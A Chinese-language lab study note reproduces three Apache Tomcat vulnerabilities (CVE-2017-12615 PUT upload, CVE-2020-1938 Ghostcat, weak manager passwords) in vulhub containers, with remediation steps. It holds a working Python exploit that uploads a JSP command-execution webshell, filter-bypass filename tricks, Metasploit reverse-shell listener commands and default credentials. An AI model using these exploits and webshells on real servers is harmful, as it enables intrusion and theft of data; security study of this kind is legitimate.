#免责声明:
本文属于个人笔记,仅用于学习,禁止使用于任何违法行为,任何违法行为与本人无关。
TomcatPUT方法任意写文件(CVE-2017- 12615)
漏洞概述
2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,其中就有远程代码执行漏洞(CVE-2017-12615)。当存在漏洞的Tomcat 运行在 Windows 主机上,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 的webshell文件,JSP文件中的恶意代码将能被服务器执行,导致服务器上的数据泄露或获取服务器权限。
- 漏洞编号:CVE-2017-12615
- 漏洞影响:上传包含任意代码的文件,并被服务器执行。
- 影响程度:高危
- 影响版本:Apache Tomcat 7.0.0 - 7.0.81
漏洞原理
在conf/web.xml中发现,默认配置readonly参数为true(默认值),即不允许DELETE和PUT操作。一般开发过程都会开启此配置,如果禁用PUT方法,对于依赖PUT方法的应用,可能导致业务失效。
将 readonly 参数为false,既可通过PUT方式上传jsp文件,并通过其执行远程代码,通过 PUT / DELETE 进行文件操控。
漏洞复现
环境搭建
使用vulhub/tomcat/CVE-2017-12615
vulhub靶场搭建教程
docker-compose build
docker-compose up -d
复现
访问http:xxxx:8080/
通过Burp Suite改包,将请求方法改成PUT,添加文件名shell.jsp/(注意后面要添加/,主要就是绕过文件上传限制),请求体中添加jsp的冰蝎马。
文件名后缀加::$DATA
上传文件后缀名加上%20
上传文件名后缀加上.
然后浏览器访问http:xxxx:8080/shell.jsp,返回状态码200,文件写入成功。
通过冰蝎直接连接,连接成功。命令执行成功。
利用冰蝎反弹shell
填写kali的ip,和监听的端口。下面有提示使用的payload我们将其填入msf中,对于不同的shell,这里生成的msf模块都会不一样,我们按照它给的填入就行
-
打开kali启动msfconsole
-
使用exp
use exploit/multi/handler
-
设置payload(使用冰蝎里提示的payload)
set payload java/meterpreter/reverse_tcp
-
配置本机地址(使用靶机地址)和监听端口
set lhost 192.168.232.3
-
查看设置
-
开始监听exploit
-
冰蝎发送数据建立连接
-
查看信息
利用python编写的EXP
import requests
import sys
import time
'''
Usage:
python CVE-2017-12615.py http://127.0.0.1
shell: http://127.0.0.1/201712615.jsp?pwd=fff&cmd=whoami
'''
def attack(url):
user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
headers={"User-Agent":user_agent}
data="""<%
if("fff".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>"""
try:
requests.put(url, headers=headers, data=data)
time.sleep(2)
verify_response = requests.get(url[:-1], headers=headers)
if verify_response.status_code == 200:
print 'success!'
else :
print verify_response.status_code
except :
"error"
if __name__ == '__main__':
target_url = sys.argv[1] + '/201712615.jsp/'
attack(target_url)
print 'shell: ' + target_url[:-1]
保存为CVE-2017-12615.py
直接执行
python CVE-2017-12615.py http://192.168.222.3:8080
如果成功了,可以看到成功提示
把shell路径复制,后面跟上?pwd=fff&cmd=id
pwd是密码,脚本里面可以修改,cmd是执行的命令
http://192.168.232.3:8080/201712615.jsp?pwd=fff&cmd=whoami
当然也可以把exp代码里的data部分替换成shell.jsp的内容直接上传webshell按照上述步骤用冰蝎连接
漏洞修复
将conf/web.xml 中对于 DefaultServlet 的 readonly 设置为 true,可以防止漏洞。
Tomcat AJP 文件包含漏洞(CVE-2020- 1938)
漏洞概述
Ghostcat(幽灵猫)是由长亭科技安全研究员发现的存在于Tomcat 中的安全漏洞,由于Tomcat AJP 协议设计上存在缺陷,攻击者通过Tomcat AJP Connector可以读取或包含 Tomcat上所有 webapp目录下的任意文件,例如可以读取webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。
-
漏洞编号:CVE:CVE-2020-1938
CNVD:CNVD-2020-10487
-
漏洞影响:读取或包含 Tomcat上所有 webapp目录下的任意文件,此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。
-
影响程度:高危
-
影响版本:
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
漏洞原理
omcat 配置了两个Connecto,它们分别是 HTTP 和 AJP :HTTP默认端口为8080,处理http请求,而AJP默认端口8009,用于处理 AJP 协议的请求,而AJP比http更加优化,多用于反向、集群等,漏洞由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件以及可以包含任意文件,如果有某上传点,上传图片马等等,即可以获取shell。
漏洞复现
环境搭建
使用vulhub/tomcat/CVE-2020-1938
vulhub靶场搭建教程
docker-compose build
docker-compose up -d
复现
访问http:xxxx:8080/
这里可以看到tomcat的版本在漏洞影响范围内,可以扫描端口看是否开放了8009,使用了AJP服务
可以看到开放了8080和8009,以及它们的版本信息
接下来直接利用别人写好的EXP复现
EXP:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
执行命令
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py -f WEB-INF/web.xml 192.168.232.3
可以看到成功读取了web.xml文件
漏洞修复
- 如未使用 Tomcat AJP 协议:
如未使用 Tomcat AJP 协议,可以直接将 Tomcat 升级到 9.0.31、8.5.51 或 7.0.100 版本进行漏洞修复。
如无法立即进行版本更新、或者是更老版本的用户,建议直接关闭 AJPConnector,或将其监听地址改为仅监听本机 localhost。
具体操作:
(1)编辑 <CATALINA_BASE>/conf/server.xml,找到如下行(<CATALINA_BASE> 为 Tomcat 的工作目录):
<Connector port="8009"protocol="AJP/1.3" redirectPort="8443" />
(2)将此行注释掉(也可删掉该行)
<!--<Connectorport="8009" protocol="AJP/1.3"redirectPort="8443" />-->
(3)保存后需重新启动,规则方可生效。
- 如果使用了 Tomcat AJP 协议:
建议将 Tomcat 立即升级到 9.0.31、8.5.51 或 7.0.100 版本进行修复,同时为 AJP Connector 配置 secret 来设置 AJP 协议的认证凭证。例如(注意必须将 YOUR_TOMCAT_AJP_SECRET 更改为一个安全性高、无法被轻易猜解的值):
<Connector port="8009"protocol="AJP/1.3" redirectPort="8443"address="YOUR_TOMCAT_IP_ADDRESS" secret="YOUR_TOMCAT_AJP_SECRET"/>
如无法立即进行版本更新、或者是更老版本的用户,建议为 AJPConnector 配置 requiredSecret 来设置 AJP 协议认证凭证。例如(注意必须将 YOUR_TOMCAT_AJP_SECRET 更改为一个安全性高、无法被轻易猜解的值):
<Connector port="8009"protocol="AJP/1.3" redirectPort="8443"address="YOUR_TOMCAT_IP_ADDRESS"requiredSecret="YOUR_TOMCAT_AJP_SECRET" />
Tomcat7+弱密码&&后端Getshell漏洞
漏洞概述
Tomcat支持通过后端部署war文件,所以我们可以直接把webshell放到web目录下。为了访问后端,需要权限。
Tomcat7+的权限如下:
经理(后台管理)
manager-gui(html页面权限)
manager-status(查看状态的权限)
manager-script(文本界面权限和状态权限)
manager-jmx(jmx 权限和状态权限)
主机管理器(虚拟主机管理)admin-gui(html 页面权限)
admin-script(文本界面权限)
要了解有关权限的更多信息,请阅读:http: //tomcat.apache.org/tomcat-8.5-doc/manager-howto.html
漏洞利用
用户权限在conf/tomcat-users.xml文件中配置:
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<role rolename="admin-gui"/>
<role rolename="admin-script"/>
<user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
</tomcat-users>
可以看出,用户tomcat拥有上述所有权限,密码为tomcat。
Tomcat8正常安装默认没有用户,管理器页面只允许本地IP访问。只有管理员手动修改了这些属性,我们才能进行攻击。
漏洞复现
环境搭建
使用vulhub/tomcat/tomcat8
vulhub靶场搭建教程
docker-compose build
docker-compose up -d
复现
访问http:xxxx:8080/
可以看到tomcat的版本信息,点击右边的Mananger App,登录管理后台
弱口令用户名:tomcat 密码:tomcat
可以看到管理后台界面中有一个文件上传接口,但是只允许上传war包
接下来将冰蝎提供的shell.jsp压缩为zip文件然后更改后缀名为.war进行上传
可以看到已经上传成功,点击shell
在路径后面加上shell.jsp访问
成功解析,复制地址打开冰蝎进行连接
可以看到连接成功,执行命令
查看文件
漏洞修复
- 修改后台登录使用弱口令;
- 限制访问后台的权限;
参考文章:
http://t.csdn.cn/V2q8K
https://mp.weixin.qq.com/s/D1hiKJpah3NhEBLwtTodsg
https://vulhub.org/#/environments/tomcat/tomcat8/